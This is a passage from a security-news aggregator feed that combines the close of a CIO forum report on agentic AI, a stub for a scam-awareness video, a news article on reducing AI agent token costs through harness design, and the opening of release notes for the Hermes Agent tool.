<p class="wp-block-paragraph">A round of Hot Topic Discussion Groups and a networking lunch followed, including the Next CIO Luncheon featuring Robert Half Regional Director Jason Deneu.</p>



<h2 class="wp-block-heading">Afternoon sessions turn to security, scale, and investment signals</h2>



<p class="wp-block-paragraph">CSO and CIO Contributor Joan Goodchild moderated “Securing Trust in the Agentic Economy,” a discussion with Marlowe Cochran, CISO at the New York State Education Department, and Gee Rittenhouse, vice president of security services at AWS, on how organizations are balancing speed, innovation and security as AI agents move from experimentation into productization at scale.</p>



<p class="wp-block-paragraph">Rittenhouse framed agentic risk as closer to human risk than traditional software risk, describing how an independent agent acting in a non-deterministic way really does look like a potential insider threat, pushing CISOs toward behavioral monitoring over static workload protection. He tied this to a structural shift in defense, noting it’s hard to do agentic security if you’re not observing it, putting observability at the center of agentic risk management.</p>



<p class="wp-block-paragraph">Cochran concurred, adding that many of the key tools that are needed to move into the agentic economy already exist, but must be implemented more aggressively, comprehensively and even more creatively. CISOs don’t need to invent an entirely new security discipline for the agentic era so much as extend identity management, access control and monitoring frameworks they already run to cover a new class of non-human actor — agents.</p>



<p class="wp-block-paragraph">A session on “AI, From Experimentation to Enterprise Impact” brought together Meagan Gentry, national AI practice manager and distinguished technologist at Insight and Yuri Gubin, chief technology officer at DataArt, for a candid look at why pilots stall before reaching scaled production and what operating capabilities, governance, cost visibility, continuous education, must be in place to sustain AI once a proof of concept works.</p>



<p class="wp-block-paragraph">During the session’s Q&amp;A segment, a discussion emerged around how proof-of-concept success can result in a false signal, raising questions about whether pilots should be considered successful before the intended outcomes have had time to materialize, and drawing a distinction between measuring usage and adoption versus measuring business value.</p>



<p class="wp-block-paragraph">The panelists explored how CIOs can identify the small number of transformational AI opportunities worth pursuing rather than managing hundreds of incremental use cases, and even challenged whether prioritization is the CIO’s job at all. The discussion closed on a sequencing question with real strategic weight, whether AI-first strategies are putting the technology ahead of the business problem CIOs are trying to solve, and what role CIOs should play with boards in defining the outcomes AI is expected to support.</p>



<h2 class="wp-block-heading">A shift in perspectives</h2>



<p class="wp-block-paragraph">The “Think Like a VC, Investment Shifts Towards Focused AI Applications” session featured three venture investors, Aaron Darr, partner at Lead Edge; Isabelle Phelps, partner at Lerer Hippeau; and Marshall Porter, general partner at AlleyCorp. The panel explored how investors evaluate risk and talent in a market where products and competitive positions can shift within months, and what separates a focused AI application with durable enterprise value from an AI wrapper built to chase a trend.</p>



<p class="wp-block-paragraph">The panel challenged the enterprise instinct to seek certainty in a market moving this fast, questioning whether CIOs should stop looking for technologies that will future-proof the enterprise and instead grow more comfortable continuously reassessing their bets. Investors framed this as a deliberate departure from the traditional low-tolerance-for-failure posture that has long governed enterprise technology purchasing, arguing that the search for certainty has itself become a risk in a market where products and business models can shift within months. The discussion pressed CIOs to weigh how they can adopt a more dynamic investment mindset without compromising the enterprise security, governance and accountability their organizations still depend on.</p>



<p class="wp-block-paragraph">A Lightning Insights followed, featuring five-minute briefings from Insight, Platform9 and Console, followed by Keystone Senior Principal Ellora Sarkar’s talk on why most enterprise AI investment fails to produce measurable value and what separates the small share of firms capturing real return on investment from the majority still stuck in pilots.</p>



<h2 class="wp-block-heading">Closing the day</h2>



<p class="wp-block-paragraph">The forum closed with “What’s Next for the CIO, Preparing for the Next 12 to 24 Months,” a fireside conversation with Leif Maiorini, CIO for corporate services at Omnicom. Maiorini discussed why business processes need to be redesigned for agentic speed rather than automated around existing human workflows, how organizational structures may shift as autonomous agents reshape visibility and decision support, and where sustainable differentiation will come from once AI capability itself becomes widely accessible.</p>



<p class="wp-block-paragraph">Maiorini encouraged the industry to clearly distinguish between nondifferentiated services that should be made as efficient as possible and the differentiated capabilities that actually influence why customers choose to do business with an organization, once the major efficiency gains from optimization and AI have been captured.</p>



<p class="wp-block-paragraph">He was candid about the governance gap agentic systems open up, noting that agents lack the professional reputation, personal accountability and inherent constraints that shape human behavior, which creates new risk when autonomous decisions occur at machine speed. That combination, reinvesting efficiency gains into genuine differentiation while building governance models suited to non-human decision-makers, framed his closing case for why human creativity and judgment remain the enterprise’s most durable asset even as the underlying technology becomes commoditized.</p>



<p class="wp-block-paragraph"><strong><em>Join the CIO 100 Awards &amp; Conference Aug 17–19, 2026 at Omni PGA Frisco Resort &amp; Spa, Frisco, TX — where top IT leaders celebrate innovation and connect.  <a href="https://event.foundryco.com/cio100-symposium-and-awards/?utm_medium=editorial&amp;utm_source=cio100_foundry_research&amp;utm_campaign=cio_100_research_foundry&amp;utm_term=4/8/2026-8/19//2026&amp;utm_content=editorial">Learn more to attend or partner</a>.</em></strong></p>
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<title><![CDATA[Merch Scams]]></title>
<description><![CDATA[Author: Avast - Bewertung: 0x - Views:35 Used to each cycle moving at the speed of hype? Don’t crash and burn 🚲]]></description>
<link>https://tsecurity.de/de/3682260/malware-trojaner-viren/merch-scams/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682260/malware-trojaner-viren/merch-scams/</guid>
<pubDate>Tue, 21 Jul 2026 00:02:32 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Avast - Bewertung: 0x - Views:35 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/K0lharTKVHk?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Used to each cycle moving at the speed of hype? Don’t crash and burn 🚲<br/></p>]]></content:encoded>
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<title><![CDATA[Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy]]></title>
<description><![CDATA[Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.A new paper from researchers at Writer provides a solution that is accessible to engineer...]]></description>
<link>https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/</guid>
<pubDate>Mon, 20 Jul 2026 23:48:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.</p><p>A <a href="https://arxiv.org/abs/2607.06906">new paper</a> from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. </p><p>By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.</p><p>Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.</p><h2>The ROI crisis of tokenmaxxing</h2><p>The current state of AI engineering is plagued by "<a href="https://blog.pragmaticengineer.com/the-pulse-tokenmaxxing-as-a-weird-new-trend/">tokenmaxxing</a>," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. </p><p>Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. </p><p>"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. </p><p>"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."</p><p>Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.</p><p>The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: </p><ul><li><p><b></b><a href="https://venturebeat.com/data/context-compression-finally-works-in-production-new-research-cuts-llm-input-16x-without-the-accuracy-hit"><b>Prompt compression</b></a> condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. </p></li><li><p><b>Budgeted reasoning</b> caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. </p></li><li><p><b>Terse coding</b> forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. </p></li><li><p><a href="https://venturebeat.com/data/together-ais-atlas-adaptive-speculator-delivers-400-inference-speedup-by"><b>Speculative decoding</b></a> uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.</p></li></ul><p>These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.</p><h2>Unpacking the harness: the levers of efficiency</h2><p>The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.</p><p>The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. </p><p>As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”</p><p>Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. </p><p>For enterprises, this reframes the "own-versus-rent" decision. </p><p>"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." </p><h2>Inside the experiments</h2><p>To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. </p><p>Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.</p><p>The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.</p><p>The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.</p><p>Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.</p><p>End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.</p><p>However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.</p><p>Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).</p><h2>The developer’s playbook: actionable takeaways and tradeoffs</h2><p>The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."</p><p><b>Structure for system prompt caching (The Two-Zone Prompt):</b> Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.</p><p><b>Manage context with Context Offloading:</b> Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."</p><p><b>Build resilient loops and redefine KPIs:</b> Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:</p><ul><li><p><b>Hard per-task token budgets:</b> The run terminates when the budget is spent, no exceptions.</p></li><li><p><b>Generation fencing:</b> Caps on steps, tool calls, and recursion depth to stop non-converging agents. </p></li><li><p><b>Failure-spend governance:</b> Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.</p></li></ul><p><b>Avoid unnecessary complexity:</b> Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.</p><p>However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."</p><h2>The future of the enterprise harness</h2><p>The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. </p><p>As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.</p><p>"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."</p>]]></content:encoded>
</item>
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<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
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<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
